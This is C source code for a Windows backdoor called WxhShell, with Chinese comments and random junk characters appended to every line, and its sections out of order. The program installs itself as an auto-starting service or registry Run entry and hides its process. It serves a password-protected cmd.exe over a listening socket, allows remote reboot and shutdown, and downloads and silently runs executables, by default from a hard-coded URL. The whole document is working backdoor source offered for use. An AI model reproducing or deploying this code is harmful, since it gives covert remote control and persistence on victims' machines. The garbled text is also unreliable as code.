  case 'd': { v8THJf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UmCIjwk  
    if(Boot(SHUTDOWN)) 7D4I>N'T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6M&7 l8  
    else { )7F$:*e  
    closesocket(wsh); s=XqI@  
    ExitThread(0); Uc j>gc=  
    } ibgF,N  
    break; z.:IUm{z  
    } "'c =(P  
  // 获取shell sv*xO7D.  
  case 's': { *L5L.: Ze  
    CmdShell(wsh); z"!=A}i  
    closesocket(wsh); B 3eNvUFZg  
    ExitThread(0); s`L>mRw`  
    break; c`V~?]I>  
  } M'xG.'  
  // 退出 Lw{'mtm  
  case 'x': { HTP~5J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h='@Q_1Sb  
    CloseIt(wsh); <gSZ<T  
    break; .Tc?9X~4  
    } }}v28"\TA  
  // 离开 g@S?5S.Av  
  case 'q': { !7uFH PK-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h{Y#. j~aS  
    closesocket(wsh); I\VC2U  
    WSACleanup(); T(bFn?  
    exit(1); I=V]_Ik4 N  
    break; 7/Mhz{o;W  
        } (a8oI )~  
  } r)Iq47Uiw  
  } ?E7.x%n7X5  
 av!~B,  
  // 提示信息 wEIAU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7A>glZ/x  
} !'%`g,,r  
  } UyOoyyd.  
$@L}/MO  
  return; YRP$tz+ _  
} j*1O(p+  
?;Ge/~QU5  
// shell模块句柄 f@J-6uQ7w  
int CmdShell(SOCKET sock) C9 cQ} j:  
{ E9S&UU,K  
STARTUPINFO si; %D*yXNsY  
ZeroMemory(&si,sizeof(si)); 3Y=?~!,Jk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q0QB[)AP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1)h+xY  
PROCESS_INFORMATION ProcessInfo; p"/B3  
char cmdline[]="cmd"; *mXs(u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mdIa`OZr  
  return 0; RLbxNn  
} $.r:  
.cm$*>LW:x  
// 自身启动模式 #3Jn_Y%P.  
int StartFromService(void) 4O3-PU>N  
{ gR) )K)  
typedef struct 6\?< :Qto  
{ $Z^HI  
  DWORD ExitStatus; . vQCX1V(  
  DWORD PebBaseAddress; J;7O`5J  
  DWORD AffinityMask; .TetN}w  
  DWORD BasePriority; - AxO1 qO  
  ULONG UniqueProcessId; [O(8iz v  
  ULONG InheritedFromUniqueProcessId; ].<B:]:,  
}   PROCESS_BASIC_INFORMATION; @I|gA  
m|+g_JZ  
PROCNTQSIP NtQueryInformationProcess; Sj<WiQ%<  
gEU|Bx/!=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sYb(g'W*'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;-X5#  
+ %07J6  
  HANDLE             hProcess; ln6Hr^@5  
  PROCESS_BASIC_INFORMATION pbi; `>cBR,)r  
P ||:?3IH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KPSHBv-#  
  if(NULL == hInst ) return 0; *_7%n-k  
m`Ver:{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8z h{?0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ri k0F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Y5m"wySZ  
d% :   
  if (!NtQueryInformationProcess) return 0; /^<Uy3F[p  
[q{[Avqf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S( r Fa  
  if(!hProcess) return 0; L) ]|\|  
mxJ& IV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qE&R.I!o  
4R/cN' -  
  CloseHandle(hProcess); "?UBW5nM#  
&z(E-w/S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g",htYoEnj  
if(hProcess==NULL) return 0; [~<X|_L G  
U6@Hgi>  
HMODULE hMod; B#T4m]E/  
char procName[255]; 9I;d>%  
unsigned long cbNeeded; ]hL `HP  
t$lO~~atr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e$3{URg  
]e+88eQ  
  CloseHandle(hProcess); ?W(>Yefk  
z.q^`01/H  
if(strstr(procName,"services")) return 1; // 以服务启动 5dE@ePO[/9  
2\p8U#""  
  return 0; // 注册表启动 9zKrFqhNo  
} r2]KP(T8|  
 ]%L?b-e  
// 主模块 \'gb{JO  
int StartWxhshell(LPSTR lpCmdLine) "NgfdLz  
{ %cl=n!T  
  SOCKET wsl; 9=J+5V^qD<  
BOOL val=TRUE; rv\m0*\<  
  int port=0; N1 }#6YNw  
  struct sockaddr_in door; ;5bzXW#U  
m ["`Op4  
  if(wscfg.ws_autoins) Install(); ShV#XnQ  
F5|6*K  
port=atoi(lpCmdLine); \qA g] -  
n5~7x   
if(port<=0) port=wscfg.ws_port; N%k6*FBp~  
{T^"`%[   
  WSADATA data; YnzhvE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1sqBBd"=PY  
j[Y$)HF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '518S"T @  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); axSJ:j8  
  door.sin_family = AF_INET;  M[^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ueyz@{On~  
  door.sin_port = htons(port); +; P8QZK6  
75+#)hNa!P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;|.^_Xs  
closesocket(wsl); J .r^"K\  
return 1; -r6cK,WVU  
} t0 1@h_ WS  
?9E shw2  
  if(listen(wsl,2) == INVALID_SOCKET) { <GbF4\ue  
closesocket(wsl); S~9K'\vO  
return 1; 3:Mq4 0]x  
} CHeU?NtFps  
  Wxhshell(wsl); Stkyz:,(  
  WSACleanup(); Ca&5"aki  
0Y_?r$M  
return 0;  {hzU  
S4m??B  
}  jIMT&5k  
BB?vc( d  
// 以NT服务方式启动 X2? ^t]-N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZH:-.2*cj  
{ mUmU_L u8  
DWORD   status = 0; *v}8n95*2  
  DWORD   specificError = 0xfffffff; x +=zG4Hm  
4;]<#u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1VlRdDg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4$);x/ a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (aAv7kB&  
  serviceStatus.dwWin32ExitCode     = 0; {{G`0i2KV  
  serviceStatus.dwServiceSpecificExitCode = 0; -bN;nSgb  
  serviceStatus.dwCheckPoint       = 0; OT*C7=  
  serviceStatus.dwWaitHint       = 0; q`HuVilNH  
_(K)(&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x}Y  
  if (hServiceStatusHandle==0) return; -VqZw&"  
tai=2,'  
status = GetLastError(); TN xl?5:  
  if (status!=NO_ERROR) ~6HpI0i  
{ :2'y=t#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6zmt^U   
    serviceStatus.dwCheckPoint       = 0; %V,2,NCd  
    serviceStatus.dwWaitHint       = 0; Nl[]8G};  
    serviceStatus.dwWin32ExitCode     = status; =6XJr7Ay8u  
    serviceStatus.dwServiceSpecificExitCode = specificError; yqaLqZ$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lEcZ/  
    return; JnW G_|m)  
  } 1S&GhJ<wJ  
#H'j;=]:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _2eRH@T  
  serviceStatus.dwCheckPoint       = 0; 6zo'w Wc3  
  serviceStatus.dwWaitHint       = 0; *>lh2ssl L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \~sc6ho  
} VH.m H<  
!Ez5@  
// 处理NT服务事件,比如:启动、停止 !e8OC9 _x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wLF;nzv  
{ J**-q(>  
switch(fdwControl) ;_o1{?~  
{ y9K U&L2  
case SERVICE_CONTROL_STOP: p#5U[@TK  
  serviceStatus.dwWin32ExitCode = 0; O_9M /[<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +3a} ~pW  
  serviceStatus.dwCheckPoint   = 0; BHVC&F*>  
  serviceStatus.dwWaitHint     = 0; y&ZyThqg  
  { B3+9G,or  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [y(DtOR  
  } Q]JWWKt6rV  
  return; aG"j9A~ &  
case SERVICE_CONTROL_PAUSE: (i1 JDe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1JRM@!x  
  break; rq>}] U  
case SERVICE_CONTROL_CONTINUE: }ZQ)]Mr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YUzx,Y>k  
  break; |fL|tkGEa  
case SERVICE_CONTROL_INTERROGATE: 5r&bk`  
  break; }Y}f7 3-|  
}; }McqoZ%F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : 3J0Q  
} ~XzT~WxW  
;PS V3Zh  
// 标准应用程序主函数 v qt#JdPp9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'n:|D7t  
{ @U8}K#  
M id v  
// 获取操作系统版本 yQT cO^E  
OsIsNt=GetOsVer(); u|ph_?6 o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lOp7rW]$  
Oe)d|6=  
  // 从命令行安装 &kR*J<)V  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8t1XZ  
S55h}5Y  
  // 下载执行文件 O'm5k l  
if(wscfg.ws_downexe) { &z;bX-"E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TANv)&,|9  
  WinExec(wscfg.ws_filenam,SW_HIDE); i;flK*HOZ9  
} -w dbH`2Z"  
e^LjB/<Th  
if(!OsIsNt) { WE{fu{x  
// 如果时win9x,隐藏进程并且设置为注册表启动 lm;Dy*|<  
HideProc(); {Jna' eS  
StartWxhshell(lpCmdLine); ~+A(zlYr~  
} -wh?9 ?W  
else h SeXxSb:  
  if(StartFromService()) ]9 JLu8GO  
  // 以服务方式启动 R)@2={fd}  
  StartServiceCtrlDispatcher(DispatchTable); :F |ll?  
else xU1_L*tu '  
  // 普通方式启动 oe'f?IY  
  StartWxhshell(lpCmdLine); qa\e`LD%Y  
U<YcUmX  
return 0; tx*L8'jlN  
} `WUyffS/!  
&<=?O a  
wit rC>  
HBdZE7.x)3  
=========================================== CN{xh=2qY[  
S8j!?$`  
EV'i/*v}\  
Ke;eI+P[  
BXb=N E  
)ZW[$:wA  
" /h7u E  
yPd6{% w  
#include <stdio.h> 8FIk|p|l^  
#include <string.h> 8345 H  
#include <windows.h> '8yCwk  
#include <winsock2.h> _UA|0a!-  
#include <winsvc.h> 4 Aj<k  
#include <urlmon.h> i91 =h   
-d.i4X3j  
#pragma comment (lib, "Ws2_32.lib") O**~ Tj  
#pragma comment (lib, "urlmon.lib") }G)2HTaZ  
U*:ju+)k  
#define MAX_USER   100 // 最大客户端连接数 *N |ak =  
#define BUF_SOCK   200 // sock buffer 4;bc!> sfC  
#define KEY_BUFF   255 // 输入 buffer  SDc8\ms  
4J1_rMfh  
#define REBOOT     0   // 重启 S\SYFXUl  
#define SHUTDOWN   1   // 关机 F%:74.]Y  
l*$~Y0  
#define DEF_PORT   5000 // 监听端口 .(&w/jR  
_P` ^B  
#define REG_LEN     16   // 注册表键长度 T)I\?hqTB  
#define SVC_LEN     80   // NT服务名长度 2lCgUe)N  
b/w5K2  
// 从dll定义API zIA)se Js  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SajG67  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L)n_  Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | .gE9'"bv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ``-pjD(t  
\ iA'^69  
// wxhshell配置信息 jL7r1pu5  
struct WSCFG { K))P 2ss  
  int ws_port;         // 监听端口 mKqXB\<  
  char ws_passstr[REG_LEN]; // 口令 ^;9<7 h[l  
  int ws_autoins;       // 安装标记, 1=yes 0=no %L|xmx!c  
  char ws_regname[REG_LEN]; // 注册表键名 6)PnzeYW  
  char ws_svcname[REG_LEN]; // 服务名 vqAEF^HYry  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tVe =c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I.'/!11>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vGnFX0?h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g%V#Z`*|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  0R,.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ["#H/L]3  
X`(fJ',  
}; Om*(dK]zHQ  
c*y*UG  
// default Wxhshell configuration O#k eoC4  
struct WSCFG wscfg={DEF_PORT, x_x_TEyyh  
    "xuhuanlingzhe", .EReYZO  
    1, GkIhPn(d  
    "Wxhshell", cMrO@=b;  
    "Wxhshell", )}7X4g6X   
            "WxhShell Service", A>8~deZ9  
    "Wrsky Windows CmdShell Service", H#u N&^+H  
    "Please Input Your Password: ", `fOp>S^Q4  
  1, {b'  
  "http://www.wrsky.com/wxhshell.exe", sYfm]Faz  
  "Wxhshell.exe" )vUS).;S`  
    }; VJP#  
JeN]sK)8x  
// 消息定义模块 ts% n tnvI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J(K/z,4h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '"+Gn52#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TNckyP75u  
char *msg_ws_ext="\n\rExit."; L/E7xLz  
char *msg_ws_end="\n\rQuit."; E+|K3EJ  
char *msg_ws_boot="\n\rReboot..."; DgK*> A  
char *msg_ws_poff="\n\rShutdown..."; m[%':^vSr  
char *msg_ws_down="\n\rSave to "; ?6\N&MTF  
]imVIu   
char *msg_ws_err="\n\rErr!"; d'&OEGb<  
char *msg_ws_ok="\n\rOK!"; jhPbh5E  
3d]~e  
char ExeFile[MAX_PATH]; %wXj P`#  
int nUser = 0; lU%oU&P/"S  
HANDLE handles[MAX_USER]; TFm[sO0RZ  
int OsIsNt; k& uh  
[y}h   
SERVICE_STATUS       serviceStatus; j{'_sI{{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JS/ChoU  
KxD/{0F  
// 函数声明 EP"Z58&$R  
int Install(void); t%G.i@{pkp  
int Uninstall(void); Uf|uFGb  
int DownloadFile(char *sURL, SOCKET wsh); )o~/yB7  
int Boot(int flag); $f _C~O  
void HideProc(void); 9XYm8g'X  
int GetOsVer(void); vQp'bRR  
int Wxhshell(SOCKET wsl); Zoc4@% n  
void TalkWithClient(void *cs); 4x&Dz0[[S  
int CmdShell(SOCKET sock); <;yS&8  
int StartFromService(void); QVJpX;u  
int StartWxhshell(LPSTR lpCmdLine); Q"D5D rj  
tcnO`0moK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gaxM#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A'rd1"K  
O$;#GpR  
// 数据结构和表定义 O9zMD8  
SERVICE_TABLE_ENTRY DispatchTable[] = Dn@ZS_f  
{ !H@HgJ -  
{wscfg.ws_svcname, NTServiceMain}, =+UtA f<n  
{NULL, NULL} `"}).{N]C  
}; /t`,7y 3T  
+ue1+#  
// 自我安装 ',xUU{5?  
int Install(void) .>#O'Z&q9  
{ g Oe!GnO  
  char svExeFile[MAX_PATH]; 4`)r1D!U  
  HKEY key; c-5AI{%bl6  
  strcpy(svExeFile,ExeFile); \b%c_e  
FNuE-_  
// 如果是win9x系统,修改注册表设为自启动 ,}]v7DD  
if(!OsIsNt) { M]p-<R\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -)^vO*b 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~c<8;,cjYR  
  RegCloseKey(key); #;~HoOK*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dt@c,McN|Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zCQP9oK!  
  RegCloseKey(key); T*SLM"x  
  return 0; OJ"./*H  
    } e ><0crb  
  } 7l$ u.[  
} 9unRMvE u  
else { {|hg3R~A  
~##FW|N)  
// 如果是NT以上系统,安装为系统服务 h@NC#Iod  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |hw.nY]J  
if (schSCManager!=0) J'sa{/ #  
{ #+p-  
  SC_HANDLE schService = CreateService EnlAgL']|  
  ( :H3/+/x  
  schSCManager, i0$*):b  
  wscfg.ws_svcname, /hu>MZ(\  
  wscfg.ws_svcdisp, \QC{38}  
  SERVICE_ALL_ACCESS, g hmn3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -e}(\  
  SERVICE_AUTO_START, ` 6*]cn#(  
  SERVICE_ERROR_NORMAL, lH`TF_  
  svExeFile, [|1I.AZ{  
  NULL, aQ $sn<-l  
  NULL, xSd&xwP  
  NULL, BCe'J!  
  NULL, ^Z#G_%\Y:  
  NULL +|d]\WlJ  
  ); [.fh2XrVM  
  if (schService!=0) "Kp#Lx  
  { @L~erg>8=  
  CloseServiceHandle(schService); ]"HaE-`%  
  CloseServiceHandle(schSCManager); !CX WoM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ObEz0Rj  
  strcat(svExeFile,wscfg.ws_svcname); mi<Q3;m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O+|C<;K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n<j+KD#a  
  RegCloseKey(key); Pb>/b\&JS  
  return 0; YLQ0UeDN'  
    } ws5Ue4g|  
  } z9[TjTH^}T  
  CloseServiceHandle(schSCManager); WYTqQqQk  
} #f) TAA  
} PIa!N Py  
;10YG6:  
return 1; m!Z<\2OP  
} O 1z0dHa  
4>0q0}J=5  
// 自我卸载 0=3)`v{S@  
int Uninstall(void) X>=`l)ZR  
{ p__wBUB  
  HKEY key; ceE]^X;p  
c?HUW  
if(!OsIsNt) { ^@AyC"K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -)oUb=Lk{  
  RegDeleteValue(key,wscfg.ws_regname); I:iMRvp  
  RegCloseKey(key); N4C7I1ihq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =n"kgn  
  RegDeleteValue(key,wscfg.ws_regname); |EX=Rj*  
  RegCloseKey(key); }q@#M8b  
  return 0; i,*m(C@F}  
  } 9;U?_   
} t kj  
} Y /_CPY  
else { LZe)_9$  
Na/Y1RW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iOURS  
if (schSCManager!=0) ft(o-f7,  
{ +m%%Bz>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Icrnu}pl_  
  if (schService!=0) N7J?S~x  
  { 8^ f:-5  
  if(DeleteService(schService)!=0) { {:uv}4Z  
  CloseServiceHandle(schService); BNNM$.ZIQ  
  CloseServiceHandle(schSCManager); rnj$u-8  
  return 0; u3+B/ 5x  
  } dJ6fPB|k  
  CloseServiceHandle(schService); &}k7iaO  
  } PmE)FthdP(  
  CloseServiceHandle(schSCManager); G$i)ELs  
} 950N\Y @u  
} %|(c?`2|  
WsV"`ij#  
return 1; ,<tJ` ,0X  
} U*$P"sS`  
xrg?{*\  
// 从指定url下载文件 Y)X7*iTi'j  
int DownloadFile(char *sURL, SOCKET wsh) E@ U]k$M  
{ bJ!\eI%ld  
  HRESULT hr; Yn }Gj'  
char seps[]= "/"; Re8x!e'>  
char *token; !Rl|o^Vw>{  
char *file; D:/ n2_  
char myURL[MAX_PATH]; gfg,V.:  
char myFILE[MAX_PATH]; fx_#3=bXi  
,\\ba_*z  
strcpy(myURL,sURL); ~Xxmj!nOf  
  token=strtok(myURL,seps); J/4T=:\  
  while(token!=NULL) %Gh5!e:$SI  
  { 6*9 wGLE  
    file=token; \QK@wgu  
  token=strtok(NULL,seps); S"Cz. bv  
  } {g%N(2  
BUBx}dbCM  
GetCurrentDirectory(MAX_PATH,myFILE); eTS}-  
strcat(myFILE, "\\"); }R['Zoh4I  
strcat(myFILE, file); [v"Z2F<.=  
  send(wsh,myFILE,strlen(myFILE),0); `3rwqcxA  
send(wsh,"...",3,0); Wgls+<l8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ljNwt  
  if(hr==S_OK) QPx5`{nN  
return 0; %vJHr!x  
else 46A sD  
return 1; Sr aZxuPg>  
qLDj\%~(  
} elCYH9W^  
!'jq.RawP  
// 系统电源模块 ^U_T<x8{  
int Boot(int flag) !,[#,oy;  
{ yXR1 NYg  
  HANDLE hToken; K?^;|m-  
  TOKEN_PRIVILEGES tkp; 'K,\  
N*-tBz  
  if(OsIsNt) { {q0+PzgP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u< BU4c/p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -&8( MT*  
    tkp.PrivilegeCount = 1; &R72$H9C8i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'c s(gc 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j?.F-ar  
if(flag==REBOOT) { F<* /J]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1VX3pkUET  
  return 0; ~wb1sn3  
} v03cQw\"WE  
else { >j5\J_( ;D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m+Ye`]  
  return 0; +FT c/r  
} "Lbsq\W>  
  } K&L!O3#(  
  else { _ >OP  
if(flag==REBOOT) { ANhtz1Fl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K|P0nJT  
  return 0; !/is+ xp  
} OM\J4"YV$  
else { 2zBk#c+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J6Z[c*W  
  return 0; 2Xt4Rqk$  
} @k?vbq  
} QHk\Z  
Dl;hOHvKk  
return 1; 7Aqg X0)  
} Tru{8]uMH  
7Q .Su  
// win9x进程隐藏模块 \zO.#H  
void HideProc(void) r<`:Q]  
{ d9f7 &  
+K 4XMf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G$<(>"Yr~$  
  if ( hKernel != NULL ) (g##wa)L  
  { a1cX+{W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |`T(:ZKXZ2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CY1WT  
    FreeLibrary(hKernel); + Iyyk02V  
  } &`D$w?beg  
U zy@\  
return; MKHnA|uQ](  
} ]&*POri&  
9p{ 4-]  
// 获取操作系统版本 #t+?eye~  
int GetOsVer(void) G]K1X"W?  
{ #I/P9)4  
  OSVERSIONINFO winfo; oB:7R^a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1V%tev9a  
  GetVersionEx(&winfo); jRK}H*uem  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y <6|z3  
  return 1; 6j%%CWU{~  
  else  U4!bW  
  return 0; "<CM 'R  
} }. &nEi`  
mxv ?PP  
// 客户端句柄模块 }je<^]a  
int Wxhshell(SOCKET wsl) .p#kW:zspA  
{ ]*2),H1 c  
  SOCKET wsh; c#OxI*,+/  
  struct sockaddr_in client; ? x%s j  
  DWORD myID; K.Xy:l*z  
h3MdQlJ&  
  while(nUser<MAX_USER) :@L7RZ`_  
{ 72<9xNcB!}  
  int nSize=sizeof(client); x5lVb$!G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xIM,0xM2  
  if(wsh==INVALID_SOCKET) return 1; 3q]0gU&??  
VE\L&d2S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m eF7[>!U  
if(handles[nUser]==0) eD>b|U=/  
  closesocket(wsh); S <mZs;  
else >F$9&s&  
  nUser++; QQJGqM3a2  
  } s9?mX@>h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  {53FR  
H=/1d.p  
  return 0; ]iV ]7g8:  
} < 5zR-UA>  
+25}X{r$_  
// 关闭 socket #VQZ"7nI@  
void CloseIt(SOCKET wsh) VfnL-bDGV  
{ uo:RNokjJ  
closesocket(wsh); E?w#$HS  
nUser--; &CG94  
ExitThread(0); Ac_P^  
} g\aO::  
e,(Vy  
// 客户端请求句柄 <a R  
void TalkWithClient(void *cs) UylIxd  
{ !yNU-/K  
(hc!!:N~q  
  SOCKET wsh=(SOCKET)cs; N_%@_$3G]  
  char pwd[SVC_LEN]; }e7Rpgu  
  char cmd[KEY_BUFF]; F/v.hP_  
char chr[1]; 7 [Us.V@  
int i,j; 6i/unwe!`)  
t>[QW`EeP  
  while (nUser < MAX_USER) { RXXHg  
dDcQSshL  
if(wscfg.ws_passstr) { &8VH m?h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !)M}(I}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pMU\f  
  //ZeroMemory(pwd,KEY_BUFF); KXWcg#zFY  
      i=0; [}L?EM  
  while(i<SVC_LEN) { 0:{W t  
Bc=(1ty)  
  // 设置超时 M+t)#O4  
  fd_set FdRead; Zg+.`>z  
  struct timeval TimeOut; igu1s}F  
  FD_ZERO(&FdRead); { 4+/0\  
  FD_SET(wsh,&FdRead); :!i=g+e]  
  TimeOut.tv_sec=8; cS.@02~f"  
  TimeOut.tv_usec=0; 5<Kt"5Z%7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?V`-z#y7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3W'fEh5  
;MfqI/B{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |$ PA  
  pwd=chr[0]; < F5VJ  
  if(chr[0]==0xd || chr[0]==0xa) { _a&gbSQv  
  pwd=0; &v:zS$m>  
  break; ! fk W;|  
  } Uw4iWcC  
  i++; BA a:!p  
    } ,ei9 ?9J1  
6*,55,y  
  // 如果是非法用户,关闭 socket 4K cEJlK5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F=F84 _+K  
} ww|fqx?  
?>7\L'n=5I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0A} X hX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); veDv14  
zlLZ8b+  
while(1) { 3Ei^WDJ  
W[jg+|  
  ZeroMemory(cmd,KEY_BUFF); 0\i\G|5  
6jpzyf=~  
      // 自动支持客户端 telnet标准   +[}y` -t  
  j=0; Rk9n,"xpv  
  while(j<KEY_BUFF) { tGOJ4 =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bWL!=  
  cmd[j]=chr[0]; }P.s  
  if(chr[0]==0xa || chr[0]==0xd) { ]Zb9F[  
  cmd[j]=0; yBK$2to~  
  break; WrP+n  
  } Rd8mn'A  
  j++;  %LnLB  
    } >V.?XZ nt  
33%hZ`/>  
  // 下载文件 b GSj?t9/  
  if(strstr(cmd,"http://")) { wPI!i K@Ro  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); **P P  
  if(DownloadFile(cmd,wsh)) 14&|(M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {GtX:v#  
  else j*>]HNo&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "OwM' n8  
  } .i\ FK@2  
